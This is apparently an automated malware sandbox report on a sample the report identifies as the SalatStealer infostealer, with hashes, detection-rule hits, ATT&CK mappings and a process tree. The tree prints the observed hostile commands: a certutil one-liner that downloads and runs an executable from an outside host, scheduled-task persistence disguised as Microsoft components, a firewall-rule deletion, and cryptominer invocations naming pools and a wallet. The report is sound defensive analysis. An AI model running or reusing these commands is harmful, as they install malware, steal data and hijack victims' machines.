salatstealer | 0d24ef550789a60c28b28e7a0e28390b0b248660a41807b9d1925087cfa7faee

Analysis

max time kernel
19s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/09/2026, 15:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-29_ddfe8ce77b1ca68bc5581d1589d1c70d_cobalt-strike_icedid_ryuk_satacom.exe
Size 1013KB
Sample260929-slde7atakd
SHA256 0d24ef550789a60c28b28e7a0e28390b0b248660a41807b9d1925087cfa7faee
MD5 ddfe8ce77b1ca68bc5581d1589d1c70d
SHA1 791388ecff8094dd23bff7ab7b2fd0c7c9c34bf9
SHA512 db549ea14fa4fe8cb6cdf7cf015c6230e64bbb831bd77b7c14907b0ecb48538afe0c47cfd0b6faa931f75c4a39e8fa73fb4daf8ba5258dd924034ffaf7e42efa
SSDEEP 24576:iMG6qTcc4U/j6O25kDpR4uXa95V31PaX:ihmUckDns5V31S
TLSH
T1D3253AF533CF5DF6F4BD0F71B028231AF5856879A6D864CA24EF210948AA48464F6B3D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution salatstealer persistence spyware stealer upx

Malware Config

Signatures

Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer

Detect SalatStealer payload 9 IoCs

resource	yara_rule
behavioral2/memory/2852-111-0x0000000000AE0000-0x0000000001736000-memory.dmp	family_salatstealer
behavioral2/memory/2852-124-0x0000000000AE0000-0x0000000001736000-memory.dmp	family_salatstealer
behavioral2/memory/2852-122-0x0000000000AE0000-0x0000000001736000-memory.dmp	family_salatstealer
behavioral2/memory/2852-135-0x0000000000AE0000-0x0000000001736000-memory.dmp	family_salatstealer
behavioral2/memory/2852-140-0x0000000000AE0000-0x0000000001736000-memory.dmp	family_salatstealer
behavioral2/memory/2852-156-0x0000000000AE0000-0x0000000001736000-memory.dmp	family_salatstealer
behavioral2/memory/2852-164-0x0000000000AE0000-0x0000000001736000-memory.dmp	family_salatstealer
behavioral2/memory/2852-176-0x0000000000AE0000-0x0000000001736000-memory.dmp	family_salatstealer
behavioral2/memory/2852-236-0x0000000000AE0000-0x0000000001736000-memory.dmp	family_salatstealer

Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 9 IoCs

resource	yara_rule
behavioral2/memory/2852-111-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/2852-124-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/2852-122-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/2852-135-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/2852-140-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/2852-156-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/2852-164-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/2852-176-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral2/memory/2852-236-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 9 IoCs

resource	yara_rule
behavioral2/memory/2852-111-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/2852-124-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/2852-122-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/2852-135-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/2852-140-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/2852-156-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/2852-164-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/2852-176-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/2852-236-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables (downlaoders) containing URLs to raw contents of a paste 1 IoCs

resource	yara_rule
behavioral2/files/0x000c00000001c617-52.dat	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 9 IoCs

resource	yara_rule
behavioral2/memory/2852-111-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/2852-124-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/2852-122-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/2852-135-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/2852-140-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/2852-156-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/2852-164-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/2852-176-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral2/memory/2852-236-0x0000000000AE0000-0x0000000001736000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs

resource	yara_rule
behavioral2/files/0x000c00000001c617-52.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/files/0x000d00000001c61e-91.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Detects executables referencing many IR and analysis tools 1 IoCs

resource	yara_rule
behavioral2/files/0x000c00000001c617-52.dat	INDICATOR_SUSPICIOUS_References_SecTools

UPX dump on OEP (original entry point) 11 IoCs

resource	yara_rule
behavioral2/files/0x000c00000001c617-52.dat	UPX
behavioral2/files/0x000c00000001c61b-61.dat	UPX
behavioral2/memory/2852-63-0x0000000000AE0000-0x0000000001736000-memory.dmp	UPX
behavioral2/memory/2852-111-0x0000000000AE0000-0x0000000001736000-memory.dmp	UPX
behavioral2/memory/2852-124-0x0000000000AE0000-0x0000000001736000-memory.dmp	UPX
behavioral2/memory/2852-122-0x0000000000AE0000-0x0000000001736000-memory.dmp	UPX
behavioral2/memory/2852-135-0x0000000000AE0000-0x0000000001736000-memory.dmp	UPX
behavioral2/memory/2852-140-0x0000000000AE0000-0x0000000001736000-memory.dmp	UPX
behavioral2/memory/2852-156-0x0000000000AE0000-0x0000000001736000-memory.dmp	UPX
behavioral2/memory/2852-164-0x0000000000AE0000-0x0000000001736000-memory.dmp	UPX
behavioral2/memory/2852-176-0x0000000000AE0000-0x0000000001736000-memory.dmp	UPX

Downloads MZ/PE file 2 IoCs

flow	pid	Process
5	3052	certutil.exe
10	3052	certutil.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1380	netsh.exe

Executes dropped EXE 2 IoCs

pid	Process
4216	0e595db60.exe
4788	0e595db60.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	pastebin.com
16	pastebin.com

UPX packed file 11 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c61b-61.dat	upx
behavioral2/memory/2852-63-0x0000000000AE0000-0x0000000001736000-memory.dmp	upx
behavioral2/memory/2852-111-0x0000000000AE0000-0x0000000001736000-memory.dmp	upx
behavioral2/memory/2852-124-0x0000000000AE0000-0x0000000001736000-memory.dmp	upx
behavioral2/memory/2852-122-0x0000000000AE0000-0x0000000001736000-memory.dmp	upx
behavioral2/memory/2852-135-0x0000000000AE0000-0x0000000001736000-memory.dmp	upx
behavioral2/memory/2852-140-0x0000000000AE0000-0x0000000001736000-memory.dmp	upx
behavioral2/memory/2852-156-0x0000000000AE0000-0x0000000001736000-memory.dmp	upx
behavioral2/memory/2852-164-0x0000000000AE0000-0x0000000001736000-memory.dmp	upx
behavioral2/memory/2852-176-0x0000000000AE0000-0x0000000001736000-memory.dmp	upx
behavioral2/memory/2852-236-0x0000000000AE0000-0x0000000001736000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\randomised\eernieutz	2026-09-29_ddfe8ce77b1ca68bc5581d1589d1c70d_cobalt-strike_icedid_ryuk_satacom.exe
File opened for modification	C:\Program Files (x86)\footed\oepsants.txt	2026-09-29_ddfe8ce77b1ca68bc5581d1589d1c70d_cobalt-strike_icedid_ryuk_satacom.exe
File opened for modification	C:\Program Files\Git\pheurthieft.txt	explorer.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4580	cmd.exe
1500	cmd.exe
4740	cmd.exe
1596	cmd.exe
3424	cmd.exe
1268	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4640	schtasks.exe
5504	schtasks.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
712	explorer.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeShutdownPrivilege	712	explorer.exe
Token: SeCreatePagefilePrivilege	712	explorer.exe
Token: SeShutdownPrivilege	712	explorer.exe
Token: SeCreatePagefilePrivilege	712	explorer.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
484	2026-09-29_ddfe8ce77b1ca68bc5581d1589d1c70d_cobalt-strike_icedid_ryuk_satacom.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 484 wrote to memory of 712	484	2026-09-29_ddfe8ce77b1ca68bc5581d1589d1c70d_cobalt-strike_icedid_ryuk_satacom.exe	80
PID 712 wrote to memory of 4580	712	explorer.exe	90
PID 4580 wrote to memory of 3052	4580	cmd.exe	92
PID 4580 wrote to memory of 4216	4580	cmd.exe	93
PID 4216 wrote to memory of 4788	4216	0e595db60.exe	94

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:712
- C:\Users\Admin\AppData\Local\Temp\2026-09-29_ddfe8ce77b1ca68bc5581d1589d1c70d_cobalt-strike_icedid_ryuk_satacom.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-09-29_ddfe8ce77b1ca68bc5581d1589d1c70d_cobalt-strike_icedid_ryuk_satacom.exe"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c certutil.exe -urlcache -split -f "https://dowmindow.com/12/rfgr/2209/get-file-data" "C:\Users\Admin\AppData\Local\Temp\0e595db60.exe" && "C:\Users\Admin\AppData\Local\Temp\0e595db60.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4580
- - C:\Windows\system32\certutil.exe
    certutil.exe -urlcache -split -f "https://dowmindow.com/12/rfgr/2209/get-file-data" "C:\Users\Admin\AppData\Local\Temp\0e595db60.exe"
    3⤵
    - Downloads MZ/PE file
    PID:3052
- - C:\Users\Admin\AppData\Local\Temp\0e595db60.exe
    "C:\Users\Admin\AppData\Local\Temp\0e595db60.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4216
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\0e595db60.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\0e595db60.exe"
      4⤵
      Executes dropped EXE
      PID:4788
    - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\ddd.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\ddd.exe"
        5⤵
        
        PID:2852
      - C:\Users\Admin\AppData\Local\D3DSCache\SecurityHealthSystray.exe
        
        C:\Users\Admin\AppData\Local\D3DSCache\SecurityHealthSystray.exe
        6⤵
        
        PID:4632
    - - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsCache /SC ONLOGON /IT /RL LIMITED /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4640
    - - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /Delete /F /TN WindowsCacheBoot
        5⤵
        
        PID:4712
    - - C:\Windows\SYSTEM32\netsh.exe
        
        netsh advfirewall firewall delete rule program="C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe"
        5⤵
        Modifies Windows Firewall
        
        PID:1380
    - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheHealth.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheHealth.exe"
        5⤵
        
        PID:5796
    - - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsCache /SC ONLOGON /IT /RL LIMITED /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5504
    - - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /Delete /F /TN WindowsCacheBoot
        5⤵
        
        PID:3820
    - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1pzry7auyux4ju57ns3g0d69kq0ldg82hv6q20y4jedmvuaes2ltssqukyzm --worker FiveMillion --password x --tls false --api-enable --api-port 49252 --api-rig-name FiveMillion
        5⤵
        
        PID:4540
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c set
        6⤵
        Executes a command shell one-liner
        
        PID:1500
    - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1pzry7auyux4ju57ns3g0d69kq0ldg82hv6q20y4jedmvuaes2ltssqukyzm --worker FiveMillion --password x --tls false --api-enable --api-port 49252 --api-rig-name FiveMillion
        5⤵
        
        PID:5772
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c set
        6⤵
        Executes a command shell one-liner
        
        PID:4740
    - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1pzry7auyux4ju57ns3g0d69kq0ldg82hv6q20y4jedmvuaes2ltssqukyzm --worker FiveMillion --password x --tls false --api-enable --api-port 49252 --api-rig-name FiveMillion
        5⤵
        
        PID:1932
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c set
        6⤵
        Executes a command shell one-liner
        
        PID:1596
    - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1pzry7auyux4ju57ns3g0d69kq0ldg82hv6q20y4jedmvuaes2ltssqukyzm --worker FiveMillion --password x --tls false --api-enable --api-port 49252 --api-rig-name FiveMillion
        5⤵
        
        PID:4332
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c set
        6⤵
        Executes a command shell one-liner
        
        PID:3424
    - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1pzry7auyux4ju57ns3g0d69kq0ldg82hv6q20y4jedmvuaes2ltssqukyzm --worker FiveMillion --password x --tls false --api-enable --api-port 49252 --api-rig-name FiveMillion
        5⤵
        
        PID:5212
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c set
        6⤵
        Executes a command shell one-liner
        
        PID:1268
    - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1pzry7auyux4ju57ns3g0d69kq0ldg82hv6q20y4jedmvuaes2ltssqukyzm --worker FiveMillion --password x --tls false --api-enable --api-port 49252 --api-rig-name FiveMillion
        5⤵
        
        PID:5084

C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe
1⤵
PID:1140

C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe
"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe"
1⤵
PID:4864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5944

C:\Program Files (x86)\WindowsPowerShell\SearchHost.exe
"C:\Program Files (x86)\WindowsPowerShell\SearchHost.exe"
1⤵
PID:4896

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

8B2B9A00839EED1DFDCCC3BFC2F5DF12

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
Size 1KB
SHA256 6f7bfa4789bd506ccf81640feec036bac7c0354084ca472f55a79ce53b9c3ade
MD5 b15dfb1600ace7f0c686862d26b733ad
SHA1 3bfa41f3ea756f0377dbc2900736ca74c8d42702
SHA512 3d261c2965f608b6af5490e10522db148140bb73a1332a132742db0d4c78783c93273c594e2465011a2062a043e0027281f6062f90aff584fc603162bd1d79fd
TLSH
T1A831B04EA2053023DA49BF72D8CE7E83CDB0374BABCAD45B19445E4229AAFC25FC40C5
MD5 SHA1 SHA512 TLSH

Submit Download

AE801AAFD8AFF401AF19AE00381A5F3E

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\AE801AAFD8AFF401AF19AE00381A5F3E
Size 308B
SHA256 1f1ccfa83a15ed7eb8dbbbe36364f1d7f65b5241167e87c7ea4990052d95b77f
MD5 b952cd591f3e2bac88e4fd9a7ae43584
SHA1 f8ae8175854f2f3e7fcdfc253cca93f2dddcb611
SHA512 e44efb8b6cdcb2981eea59964a7c4ca604d05a72824496cd61f91278d6a55ec003d520c05f3b531c9a6a7b76f3e0bbd4bae9bf34da27b7b76364df5ff3cb6e94
TLSH
T1B2E07D92A76967840670D404EE85DC472CBC44961B5EB0C01280C7B150C3B89E48818C
MD5 SHA1 SHA512 TLSH

Submit Download

B46811C17859FFB409CF0E904A4AA8F8

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
Size 528B
SHA256 d2bb091268ade68ad8121d2184d0fbce128070156304bd4de312e6fbd267409c
MD5 047f3e9d21d6b325d592b1959e4362e6
SHA1 5aeef5f985171cd69da397fd039854e44ebecdd2
SHA512 4523896ed4a03afafd2075d8c8947236d34fe1da2c246a3f90c2be2a5c151c18bc58a6cde5a209abb8e06e80f662e24d0149640b3e98e8a872bfa8a04ef592a4
TLSH
T147F0500990082252C855FF55DFD6AC97DC76336136E595036D458E410C12F96AF950F5
MD5 SHA1 SHA512 TLSH

Submit Download

8B2B9A00839EED1DFDCCC3BFC2F5DF12

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
Size 174B
SHA256 768ace68b8a523c7bfbd7799db3b6c2a184f2898343dadbdc197da5a5ba1552a
MD5 f7d9790a93f13ea4528f7fc9d495c570
SHA1 3af69f8dabf70703540c2c05a50ed7aadb000527
SHA512 33c45f12700aefe68187589a6d77aa0c3d14d11c3be83e38454f7d2996ee5081e7c6e0ce0645a6cd1d9fa05baf5a744c6fb3709e997a6a79dee46d4bf2869e24
TLSH
T15AC0888823B00228F0302ABF88A383808BBA8208E88283A00B3022088028A020CB0C0A
MD5 SHA1 SHA512 TLSH

Submit Download

AE801AAFD8AFF401AF19AE00381A5F3E

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\AE801AAFD8AFF401AF19AE00381A5F3E
Size 192B
SHA256 dcc3fffcaf3e081c3e384e218f272b4692cbb9fea36a0615b1536c518a10e43b
MD5 52cf47be0431c7eac50f56a0a05bf418
SHA1 5575a421e7f55a99bb3b9fe98bde5fad9b77bbd0
SHA512 a394353ff0df5dc3ee865fbfad605888e353d9608135e3cefc2c70a895dbfe00ac68ae1efdd3c30269f9a98479a8198454aeafa93087bbe425e380686ccc600d
TLSH
T155C08C4033290118F200053E26D27E02ABFCBA05C042C31B0FF5051DAA5C6044C30D1A
MD5 SHA1 SHA512 TLSH

Submit Download

B46811C17859FFB409CF0E904A4AA8F8

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
Size 170B
SHA256 e9a989dd7ece31d90a5ab7b0e0b97f9ff578f0d20933084263267cc9f86cdb27
MD5 895fbf7bf8502d1954b6ec4e7e434f2c
SHA1 ba7a341a4e5a109a0d4a047e9533958d5e1d02b4
SHA512 027566032aa53fe1da22dbdc0c5107430611263231934de3ac4582f4047e9db261226f166bb087251466eadfe04cb8a36a743cd536d1eff84ed28a522220ea20
TLSH
T151C09B1473694755F10D517D79D6560417B54159F5C6C3144B741574851865008B1D05
MD5 SHA1 SHA512 TLSH

Submit Download

MicrosoftCacheHealth.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheHealth.exe
Size 214KB
SHA256 9e0793d1d57843ec5e7d1ff397c54bbfe50faa431fd56e7af1c9002fcd80f93c
MD5 674ddb04bff9ec87f6d9fa89fac6b983
SHA1 eaae4bcc6811021c36b6dba6258775325bb32293
SHA512 01119bf2cdbe4b69108dced22ff3c41c12bffe91f12f5bc2772f5bce8fc71e8f1d2e07024099669ee53981996cde8b9ec65a3d55004d798d150674225c3455c9
SSDEEP 3072:MGaOQL8wpd5U2tUwKo1kdXMj5WcocMDppRQghW0bx1oOm+eAszwZkte:lwfRUwKzdXMl92pOAPbxCAszwke
TLSH
T14B241983A58954F4E857B13CA30BE125DB62BC720794E0DF07705712BF5BAE46E3EA21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MicrosoftCacheWorker.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
Size 24.1MB
SHA256 a0d90564ef9a943924f381c8952f91b98e4910012225e88d397ed941068300c9
MD5 820e2e8e4b843fdb5f4e7a5141a996a0
SHA1 24b216dc98ba21bf48d608b9ffde854324165b05
SHA512 5d8829e519e52e2546a709b52103def486332c91edf84b718e5d1bbf5895d6e70ef9c7c6f66b39ec0665dadb2d8d51a0de4138c3728f01827eb4e9b81c535037
SSDEEP 393216:g00lqca+bzCybph17BSCkRsBQ0HwYCM+k5VHwGKdidPViJGB/wmipELoHd:wlha+bzCkPD9AYCnGdQJGY
TLSH
T143473386D1066FB6C54A3A3BCB33084B56658BBCD7D606C09C98F775901EC9E0D6BACC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MicrosoftCacheWorker.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
Size 10.0MB
SHA256 eacfe4224d3a06bacd3fd790eff0467884c2d02a946f909b0947e8dd735d3c82
MD5 78f756bd95968d0a450c4432cc5060a4
SHA1 69debcbc709e2b93aaad6ae82612432075c1bcea
SHA512 7806bcfc0604406a8c8f61fdf1395cecfd444c81d2b299f347b8b99c82e7cbf59827a6f3f79758c88f65d8a687084c3b63800b9d9fd5e1affc0d0bd52441f362
SSDEEP 196608:g8D1jE6T0lTu7z7nles3+bzoFyXrMCn5RhpxxkcDVSHrHej:g00lqca+bzCybph17BSCj
TLSH
T130B63322866B905CE991223FCF06419F1FF5FA9451F71D48BA87A778E040E62856F2CF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

build.json

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\build.json
Size 1KB
SHA256 ebe1a845e42b31449e87bea1eec9599618fc0422ad702dca4f79a0d046b0e7c6
MD5 9788b6a87547c9f6d7c800497b528b36
SHA1 7cfde3b7bbb284ac1fa9bf7647042f340528e20a
SHA512 f600408e31ee076bfe05c935c60c6c0d334ecc803f3d40ce49f601cc9d977f91777cd698c6794a741c9b44bbc6b3b6bde2d5e44e4bfcca04d7dc2a4dce821d92
TLSH
T15541792AC5180EB216D0A8195CBA9F4746574C33390A796877C7961C5F4C73F22BCA7D
MD5 SHA1 SHA512 TLSH

Submit Download

build.json

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\build.json
Size 1KB
SHA256 ef523f218926afd3eadeb530069362428b404bfde57b25efd657cab53792de2e
MD5 bf69501c21709d659f1b619dc3a0a986
